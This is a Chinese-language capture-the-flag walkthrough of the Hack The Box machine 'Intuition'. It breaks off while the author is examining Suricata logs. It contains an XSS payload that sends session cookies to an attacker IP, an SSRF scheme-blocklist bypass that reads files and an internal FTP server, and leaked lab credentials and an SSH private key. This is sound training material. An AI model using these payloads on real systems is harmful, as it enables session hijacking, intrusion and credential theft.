HTB Intuition

Intuition

User

nmap

┌──(kali㉿kali)-[~//machine/SeasonV/linux/iClean]
└─$ nmap -A 10.129.22.134     
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-30 05:29 EDT
Nmap scan report for 10.129.22.134
Host is up (0.49s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
|_  256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://comprezzor.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 81.65 seconds

22,80 两端口

add host 解析 comprezzor.htb

vhost - gobuster

➜  htb gobuster vhost --append-domain -u http://comprezzor.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt    --threads 300
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://comprezzor.htb
[+] Method:          GET
[+] Threads:         300
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: auth.comprezzor.htb Status: 302 [Size: 199] [--> /login]
Found: report.comprezzor.htb Status: 200 [Size: 3166]
Found: dashboard.comprezzor.htb Status: 302 [Size: 251] [--> http://auth.comprezzor.htb/login]
Progress: 114441 / 114442 (100.00%)
===============================================================
Finished
===============================================================

得到了三个新的vhost

dashboard

auth

report

进入dashboard会跳转到auth进行登录认证

使用report也需要auth进行登录认证

xss

img

先进性登录就会得到一个cookie,此时role为user

img

然后就会跳转这个页面

img

在这个页面下,有一个功能的是通报bug给开发者,这里有一个xss

img

发送这个payload获取admin的cookie

img


#payload
<img src=x οnerrοr=this.src="http://10.10.16.11"+document.cookie />
#result
user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4
{"user_id": 2, "username": "adam", "role": "webdev"}|58f6f725339ce3f69d8552a10696ddebb68b2b57d2e523c08bde868d3a756db8

这串cookie 解密,我们得到一个新的role

dashboard-webdev

img

通过获取到的cookie进入dashboard,显示下面信息

这里面是一些用户进行的bug Report

img

通过点击对应的报告id,我们可以对某个报告进行具体的操作

  1. 设置为解决
  2. 提高优先级
  3. 删除

admin-cookie

这里我们可以在自己提交一个报告申请也是窃取xss的payload,然后在dashboard页面提升他的优先级

img

过一会,报告就被solved掉了,并且我们这次拿到了一个新的cookie,role是admin

user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5{"user_id": 1, "username": "admin", "role": "admin"}|34822333d444ae0e4022f6cc679ac9d26d1d1d682c59c61cfbea29d776d589d9

img

此时再用新的cookie 访问,拿到了一个新的页面

Create-pdf-report

img

这个路由可以填入一个url,并且生成这个url页面的pdf

pdf的信息里面有一个wkhtmltopdf 0.1.2.6

google 搜索

Referer:https://www.exploit-db.com/exploits/51039

存在一个ssrf

ssrf-CVE-2022-35583

➜  Intuition cat index.html
<body><iframe src="http://10.10.16.11/iframe"></body>

发送请求

img

img

成功收到了iframe的请求

img

通过nc命令进行监听,获取到了请求头,User-agent: Python-urllib/3.11

说明该web服务是 python起的

CVE-2023-24329

Referer: https://nvd.nist.gov/vuln/detail/CVE-2023-24329

An issue in the urllib.parse component of Python before 3.11.4 allows attackers to bypass blocklisting methods by supplying a URL that starts with blank characters.

CERT 协调中心(CERT/CC)在周五的一份公告中说:当整个 URL 都以空白字符开头时,urlparse 就会出现解析问题。“这个问题会影响主机名和方案的解析,最终导致任何拦截列表方法失效”。

LFI

img

直接用file协议读不出内容 没道理,可能有白名单校验啥的

结合上面那个url.lib的 cve ,url 前面加一个空格,可以成功读出文件

img

读取到的passwd文件,没有看见除了root用户有sh权限的用户,尝试读取/root/.ssh/id_rsa 读取失败

所以这个服务多半在docker里面

hosts

➜  Intuition cat hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.21.0.2 web.local web
172.21.0.1 ftp.local

该靶机解析域名存在一个172.21.0.1 指向ftp.local 这个域名的dns记录,172开头的地址很像docker

environ

HOSTNAME=web.local
PYTHON_PIP_VERSION=22.3.1
HOME=/root
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
PYTHON_GET_PIP_URL=https://github.com/pypa/get- pip/raw/d5cb0afaf23b8520f1bbcfed521017b4a95f5c01/public/get-pip.py
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LANG=C.UTF-8
PYTHON_VERSION=3.11.2
PYTHON_SETUPTOOLS_VERSION=65.5.1
PWD=/app
PYTHON_GET_PIP_SHA256=394be00f13fa1b9aaa47e911bdb59a09c3b2986472130f30aa0bfaf7f3980637

通过读取/proc/self/envrion 拿到下面环境变量信息

app.py

通过读取/proc/self/cmdline 拿到了

python3  /app/code/app.py
from flask import Flask, request, redirect
from blueprints.index.index import main_bp
from blueprints.report.report import report_bp
from blueprints.auth.auth import auth_bp
from blueprints.dashboard.dashboard import dashboard_bp
app = Flask(__name__)
app.secret_key = "7ASS7ADA8RF3FD7"
app.config['SERVER_NAME'] = 'comprezzor.htb'app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024
# Limit file size to 5MB
ALLOWED_EXTENSIONS = {'txt','pdf', 'docx'}
# Add more allowed file extensions
if needed app.register_blueprint(main_bp)app.register_blueprint(report_bp, subdomain='report')app.register_blueprint(auth_bp, subdomain='auth')app.register_blueprint(dashboard_bp, subdomain='dashboard')
if __name__ == '__main__':app.run(debug=False,host="0.0.0.0", port=80)

那么在子目录

/app/code/blueprints/index/index.py

/app/code/blueprints/report/report.py

/app/code/blueprints/auth/auth.py

/app/code/blueprints/dashboard/dashboard.py

还有文件,依次读取出来

dashboard.py

from flask import Blueprint, request, render_template, flash, redirect, url_for, send_file
from blueprints.auth.auth_utils import admin_required, login_required, deserialize_user_data
from blueprints.report.report_utils import (get_report_by_priority, get_report_by_id, delete_report, get_all_reports, change_report_priority, resolve_report
)
import random
import os
import pdfkit
import socket
import shutil
import urllib.request
from urllib.parse import urlparse
import zipfile
from ftplib import FTP
from datetime import datetimedashboard_bp = Blueprint('dashboard', __name__, subdomain='dashboard')
pdf_report_path = os.path.join(os.path.dirname(__file__), 'pdf_reports')
allowed_hostnames = ['report.comprezzor.htb']@dashboard_bp.route('/', methods=['GET'])
@admin_required
def dashboard():user_data = request.cookies.get('user_data')user_info = deserialize_user_data(user_data)if user_info['role'] == 'admin':reports = get_report_by_priority(1)elif user_info['role'] == 'webdev':reports = get_all_reports()return render_template('dashboard/dashboard.html', reports=reports, user_info=user_info)@dashboard_bp.route('/report/<report_id>', methods=['GET'])
@login_required
def get_report(report_id):user_data = request.cookies.get('user_data')user_info = deserialize_user_data(user_data)if user_info['role'] in ['admin', 'webdev']:report = get_report_by_id(report_id)return render_template('dashboard/report.html', report=report, user_info=user_info)else:pass@dashboard_bp.route('/delete/<report_id>', methods=['GET'])
@login_required
def del_report(report_id):user_data = request.cookies.get('user_data')user_info = deserialize_user_data(user_data)if user_info['role'] in ['admin', 'webdev']:report = delete_report(report_id)return redirect(url_for('dashboard.dashboard'))else:pass@dashboard_bp.route('/resolve', methods=['POST'])
@login_required
def resolve():report_id = int(request.args.get('report_id'))if resolve_report(report_id):flash('Report resolved successfully!', 'success')else:flash('Error occurred while trying to resolve!', 'error')return redirect(url_for('dashboard.dashboard'))@dashboard_bp.route('/change_priority', methods=['POST'])
@admin_required
def change_priority():user_data = request.cookies.get('user_data')user_info = deserialize_user_data(user_data)if user_info['role'] != ('webdev' or 'admin'):flash('Not enough permissions. Only admins and webdevs can change report priority.', 'error')return redirect(url_for('dashboard.dashboard'))report_id = int(request.args.get('report_id'))priority_level = int(request.args.get('priority_level'))if change_report_priority(report_id, priority_level):flash('Report priority level changed!', 'success')else:flash('Error occurred while trying to change the priority!', 'error')return redirect(url_for('dashboard.dashboard'))@dashboard_bp.route('/create_pdf_report', methods=['GET', 'POST'])
@admin_required
def create_pdf_report():global pdf_report_pathif request.method == 'POST':report_url = request.form.get('report_url')try:scheme = urlparse(report_url).schemehostname = urlparse(report_url).netlocdissallowed_schemas = ["file", "ftp", "ftps"]if (scheme not in dissallowed_schemas) and ((socket.gethostbyname(hostname.split(":")[0]) != '127.0.0.1')or (hostname in allowed_hostnames)):urllib_request = urllib.request.Request(report_url, headers={'Cookie': 'user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5'})response = urllib.request.urlopen(urllib_request)html_content = response.read().decode('utf-8')pdf_filename = f'{pdf_report_path}/report_{str(random.randint(10000, 90000))}.pdf'pdfkit.from_string(html_content, pdf_filename)return send_file(pdf_filename, as_attachment=True)else:flash('Invalid URL', 'error')return render_template('dashboard/create_pdf_report.html')except Exception as e:flash('Unexpected error!', 'error')return render_template('dashboard/create_pdf_report.html')else:return render_template('dashboard/create_pdf_report.html')@dashboard_bp.route('/backup', methods=['GET'])
@admin_required
def backup():source_directory = os.path.abspath(os.path.dirname(__file__) + '../../../')current_datetime = datetime.now().strftime("%Y%m%d%H%M%S")backup_filename = f'app_backup_{current_datetime}.zip'with zipfile.ZipFile(backup_filename, 'w', zipfile.ZIP_DEFLATED) as zipf:for root, _, files in os.walk(source_directory):for file in files:file_path = os.path.join(root, file)arcname = os.path.relpath(file_path, source_directory)zipf.write(file_path, arcname=arcname)try:ftp = FTP('ftp.local')ftp.login(user='ftp_admin', passwd='u3jai8y71s2')ftp.cwd('/')with open(backup_filename, 'rb') as file:ftp.storbinary(f'STOR {backup_filename}', file)ftp.quit()os.remove(backup_filename)flash('Backup and upload completed successfully!', 'success')except Exception as e:flash(f'Error: {str(e)}', 'error')return redirect(url_for('dashboard.dashboard'))

ftp

通过读取dashborad.py 我们可以发现create_pdf_report 这个路由确实是有白名单的,我们传入的schema 如果存在白名单列表中 [“file”, “ftp”, “ftps”] 就会被拦截,加了一个空格就能绕过这个白名单,并且我们拿到了一个ftp服务凭据

ftp_admin:u3jai8y71s2 ,使用ssrf和这个凭据继续读取ftp里面的内容

POST /create_pdf_report HTTP/1.1
Host: dashboard.comprezzor.htb
Content-Length: 51
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dashboard.comprezzor.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://dashboard.comprezzor.htb/create_pdf_report
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5
Connection: closereport_url=%20ftp://ftp_admin:u3jai8y71s2@ftp.local

发送上面这个请求成功拿到了ftp里面的内容

img

ftp里面有三个文件 private-8297.key welcome_note.pdf welcome_note.txt

依次读取,pdf读取不出

welcome_note.txt

Dear Devs, We are thrilled to extend a warm welcome to you as you embark on this exciting journey with us. Your
arrival marks the beginning of an inspiring chapter in our collective pursuit of excellence, and we are genuinely
delighted to have you on board. Here, we value talent, innovation, and teamwork, and your presence here reaffirms our
commitment to nurturing a diverse and dynamic workforce. Your skills, experience, and unique perspectives are
invaluable assets that will contribute significantly to our continued growth and success. As you settle into your new
role, please know that you have our unwavering support. Our team is here to guide and assist you every step of the way,
ensuring that you have the resources and knowledge necessary to thrive in your position. To facilitate your work and
access to our systems, we have attached an SSH private key to this email. You can use the following passphrase to
access it, `Y27SH19HDIWD`. Please ensure the utmost confidentiality and security when using this key. If you have any
questions or require assistance with server access or any other aspect of your work, please do not hesitate to reach out
for assistance. In addition to your technical skills, we encourage you to bring your passion, creativity, and innovative
thinking to the table. Your contributions will play a vital role in shaping the future of our projects and products. Once
again, welcome to your new family. We look forward to getting to know you, collaborating with you, and witnessing
your exceptional contributions. Together, we will continue to achieve great things. If you have any questions or need
further information, please feel free to me at adam@comprezzor.htb. Best regards, Adam

private-8297.key

-----BEGIN OPENSSH PRIVATE KEY-----
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 
-----END OPENSSH PRIVATE KEY-----

尝试把ssh的密码去除

➜  Intuition ssh-keygen -p -f id_rsa                                                                                                                [50/296]Enter old passphrase:
Key has comment 'dev_acc@local'
Enter new passphrase (empty for no passphrase):Y27SH19HDIWD
Enter same passphrase again:
Your identification has been saved with the new passphrase.
➜  Intuition ssh-keygen -f id_rsa -y
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDfUe6nu6udKETqHA3v4sOjhIA4sxSwJOpWJsS//l6KBOcHRD6qJiFZeyQ5NkHiEKPIEfsHuFMzykx8lAKK79WWvR0BV6ZwHSQnRQByD9eAj60Z/CZNcq19PHr6uaTRjHqQ/zbs7pzWTs+mdCwKLOU7x+X0XGGmtrPH4/YODxuOwP9S7luu0XmG0m7sh8I1ETISobycDN/2qa1E/w0VBNuBltR1BRBdDiGObtiZ1sG+cMsCSGwCB0sYO/3aa5Us10N2v3999T7u7YTwJuf9Vq5Yxt8VqDT/t+JXU0LuE5xPpzedBJ5BNGNwAPqkEBmjNnQsYlBleco6FN4La7Irn74fb/7OFGR/iHuLc3UFQkTlK7LNXegrKxxb1fLp2g4B1yPr2eVDX/OzbqAE789NAv1Ag7O5H1IHTH2BTPTF3Fsm7pk+efwRuTusue6fZteAipv4rZAPKETMLeBPbUGoxPNvRy6VLfTLV+CzYGJTdrnNHWYQ7+sqbcJFGDBQ+X3QelE= dev_acc@local

使用 ssh-keygen 查看用户名 dev_acc@local

使用私钥登录,成功获取user

Root

user.db

img

在webf服务路径下翻文件发现了users.db

dev_acc@intuition:/var/www/app/blueprints/auth$ sqlite3 users.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .table
users
sqlite> select * from users;                                                                                                                   
1|admin|sha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaadbfa92bd612513e9b606|admin
2|adam|sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43|webdev
sqlite>
➜  crack hashcat -m   30120 -a 0 hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt  --show
sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43:adam gray

成功解密

➜  crack sudo crackmapexec ssh  10.10.11.15 -u users -p 'adam gray'
SSH         10.10.11.15     22     10.10.11.15      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.7
SSH         10.10.11.15     22     10.10.11.15      [-] root:adam gray Authentication failed.
SSH         10.10.11.15     22     10.10.11.15      [-] adam:adam gray Authentication failed.
SSH         10.10.11.15     22     10.10.11.15      [-] dev_acc:adam gray Authentication failed.
SSH         10.10.11.15     22     10.10.11.15      [-] lopez:adam gray Authentication failed.

这个凭证无法用来ssh登录,继续收集信息

ftp

dev_acc@intuition:/opt/ftp$ ls -al
total 16
drwxr-xr-x 4 root root 4096 Sep 19  2023 .
drwxr-xr-x 7 root root 4096 Apr 10 08:21 ..
drwxrwx--- 3 root adam 4096 Apr 10 08:21 adam
drwxrwx--- 2 root root 4096 May  3 04:55 ftp_admin

ftp 目录在这里有一个属于adam用户的目录,说明那个凭证可能是用来登录里的

dev_acc@intuition:/opt/ftp$ ftp 0 21
Connected to 0.
220 pyftpdlib 1.5.7 ready.
Name (0:dev_acc): adam                                                                                                                          331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering extended passive mode (|||39291|).
125 Data connection already open. Transfer starting.
drwxr-xr-x   3 root     1002         4096 Apr 10 08:21 backup
226 Transfer complete.
ftp> cd backup
250 "/backup" is the current directory.
ftp> ls
229 Entering extended passive mode (|||48205|).
150 File status okay. About to open data connection.
drwxr-xr-x   2 root     1002         4096 Apr 10 08:21 runner1
226 Transfer complete.
ftp> cd runner1
250 "/backup/runner1" is the current directory.
ftp> ls
229 Entering extended passive mode (|||34593|).
150 File status okay. About to open data connection.
-rwxr-xr-x   1 root     1002          318 Apr 06 00:25 run-tests.sh
-rwxr-xr-x   1 root     1002        16744 Oct 19  2023 runner1
-rw-r--r--   1 root     1002         3815 Oct 19  2023 runner1.c
226 Transfer complete.
ftp> lpwd
Local directory: /opt/ftp
ftp> lcd /home/dev_acc
Local directory now: /home/dev_acc
ftp> get *
local: user.txt remote: *
ftp: Can't access `user.txt': Operation not permitted
ftp> help
Commands may be abbreviated.  Commands are:!               close           fget            lpage           modtime         pdir            rcvbuf          sendport        type
$               cr              form            lpwd            more            pls             recv            set             umask
account         debug           ftp             ls              mput            pmlsd           reget           site            unset
append          delete          gate            macdef          mreget          preserve        remopts         size            usage
ascii           dir             get             mdelete         msend           progress        rename          sndbuf          user
bell            disconnect      glob            mdir            newer           prompt          reset           status          verbose
binary          edit            hash            mget            nlist           proxy           restart         struct          xferbuf
bye             epsv            help            mkdir           nmap            put             rhelp           sunique         ?
case            epsv4           idle            mls             ntrans          pwd             rmdir           system
cd              epsv6           image           mlsd            open            quit            rstatus         tenex
cdup            exit            lcd             mlst            page            quote           runique         throttle
chmod           features        less            mode            passive         rate            send            trace
ftp> get  run-tests.sh
local: run-tests.sh remote: run-tests.sh
229 Entering extended passive mode (|||44807|).
125 Data connection already open. Transfer starting.
100% |***************************************************************************************************|   318      594.91 KiB/s    00:00 ETA
226 Transfer complete.
318 bytes received in 00:00 (498.46 KiB/s)
ftp> get runner1
local: runner1 remote: runner1
229 Entering extended passive mode (|||45973|).
125 Data connection already open. Transfer starting.
100% |***************************************************************************************************| 16744       18.91 MiB/s    00:00 ETA
226 Transfer complete.
16744 bytes received in 00:00 (16.70 MiB/s)
ftp> get runner1.crunner1.c
local: runner1.crunner1.c remote: runner1.crunner1.c
229 Entering extended passive mode (|||36465|).
550 No such file or directory.
ftp> get runner1.c
local: runner1.c remote: runner1.c
229 Entering extended passive mode (|||51053|).
125 Data connection already open. Transfer starting.
100% |***************************************************************************************************|  3815       16.53 MiB/s    00:00 ETA
226 Transfer complete.
3815 bytes received in 00:00 (11.40 MiB/s)
ftp>

有几个这样的文件,我们把他下载下来

大概看了一下是一个控制一个叫playbook服务的脚本

暂时想不到如何利用,感觉有命令注入

netstat

img

img

dev_acc@intuition:/tmp$ ./fscan -h  172.21.0.4/24  -p 80,4444,5000,8080,38843___                              _/ _ \     ___  ___ _ __ __ _  ___| | __/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\fscan version: 1.8.3
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.21.0.2      is alive
(icmp) Target 172.21.0.4      is alive
(icmp) Target 172.21.0.1      is alive
[*] Icmp alive hosts len is: 3
172.21.0.2:80 open
172.21.0.1:80 open
[*] alive ports len is: 3
start vulscan
172.21.0.4:4444 open
[*] WebTitle http://172.21.0.1         code:301 len:178    title:301 Moved Permanently 跳转url: http://comprezzor.htb/
[*] WebTitle http://172.21.0.2         code:404 len:207    title:404 Not Found
[*] WebTitle http://comprezzor.htb/    code:200 len:3408   title:Comprezzor
[*] WebTitle http://172.21.0.4:4444    code:302 len:0      title:None 跳转url: http://172.21.0.4:4444/ui/
[*] WebTitle http://172.21.0.4:4444/ui/ code:200 len:486    title:Selenium Grid
已完成 3/3
[*] 扫描结束,耗时: 11.486285763s

4444端口有服务

上chisel 代理一下流量

img

进去可以vnc,但是需要密码,我们不知道密码

suricata.log

dev_acc@intuition:/tmp$ find / -name *.log 2>/dev/null
/var/log/kern.log                                                                                                                                                                           /var/log/auth.log
/var/log/vmware-network.5.log
/var/log/vmware-vmsvc-root.1.log
/var/log/vmware-network.3.log
/var/log/vmware-network.6.log
/var/log/laurel/audit.log
/var/log/vmware-network.2.log
/var/log/vmware-network.log
/var/log/vmware-vmtoolsd-root.log                                                                                                                                                           /var/log/vmware-network.1.log
/var/log/vmware-network.7.log                                                                                                                                                               /var/log/vmware-vmsvc-root.log
/var/log/vmware-vmsvc-root.3.log
/var/log/suricata/stats.log
/var/log/suricata/suricata.log
/var/log/suricata/fast.log
/var/log/vmware-vmsvc-root.2.log
/var/log/nginx/error.log
/var/log/nginx/access.log
/var/log/vmware-network.4.log
/usr/share/doc/python3.10/pybench.log

查找有权限读的log文件,发现了一个不常见的suricata

Suricata 是一个高性能的、开源的网络分析和威胁检测引擎。它可以用于实时入侵检测 (IDS)、内网安全监视 (IPS)、网络安全监测 (NSM) 和离线 pcap 处理。
Suricata 的主要特性包括:
协议识别:Suricata 可以自动识别多种网络协议,包括但不限于HTTP,FTP,SMB等,这对于检测各种威胁移动非常有用。
流跟踪:Suricata 能够在网络流量中跟踪并识别单独的流对话,使其能够更好地理解流量模式以及进行更深入的威胁检测。
基于规则的威胁检测:Suricata 支持强大的威胁检测规则,允许你定制各种规则来捕获和警告各种网络威胁。
多线程处理能力:为了提高性能,Suricata支持多线程处理,可充分发挥现代多核处理器的性能。
HTTP和TLS威胁检测:Suricata包含HTTP和TLS协议的威胁检测功能,可以监测这些协议中的威胁行为。
Suricata 还有许多其他的特性,包括文件和数据检测,TLS/SSL加密的检测等,使其成为一个强大的网络安全监控工具。更多信息可以在它的 官方网站 上找到。

那么这个ids会捕获流量,说不定捕获到了和用户凭证有关的流量,直接匹配和用户有关的信息

adam、lopze

dev_acc@intuition:/var/log/suricata$ ls -al
total 42652
drwxr-xr-x  2 root root       4096 Apr 29 18:27 .
drwxrwxr-x 12 root syslog     4096 May  3 06:21 ..
-rw-r--r--  1 root root   18143731 May  3 06:45 eve.json
-rw-r--r--  1 root root          0 Apr 29 18:27 eve.json.1
-rw-r--r--  1 root root    5760612 Oct 26  2023 eve.json.1-2024040114.backup
-rw-r--r--  1 root root          0 Apr  8 14:19 eve.json.1-2024042213.backup
-rw-r--r--  1 root root          0 Apr 22 13:26 eve.json.1-2024042918.backup
-rw-r--r--  1 root root     214743 Oct 28  2023 eve.json.4.gz
-rw-r--r--  1 root root    5050595 Oct 14  2023 eve.json.6.gz
-rw-r--r--  1 root root     972578 Sep 29  2023 eve.json.7.gz
-rw-r--r--  1 root root          0 Apr 29 18:27 fast.log
-rw-r--r--  1 root root          0 Apr 29 18:27 fast.log.1
-rw-r--r--  1 root root          0 Oct 26  2023 fast.log.1-2024040114.backup
-rw-r--r--  1 root root          0 Apr  8 14:19 fast.log.1-2024042213.backup
-rw-r--r--  1 root root          0 Apr 22 13:26 fast.log.1-2024042918.backup
-rw-r--r--  1 root root         20 Oct 26  2023 fast.log.4.gz
-rw-r--r--  1 root root       1033 Oct  8  2023 fast.log.6.gz                                                                                                                               -rw-r--r--  1 root root       1485 Sep 28  2023 fast.log.7.gz
-rw-r--r--  1 root root    8417814 May  3 06:45 stats.log
-rw-r--r--  1 root root          0 Apr 29 18:27 stats.log.1
-rw-r--r--  1 root root    4293890 Oct 26  2023 stats.log.1-2024040114.backup
-rw-r--r--  1 root root          0 Apr  8 14:19 stats.log.1-2024042213.backup
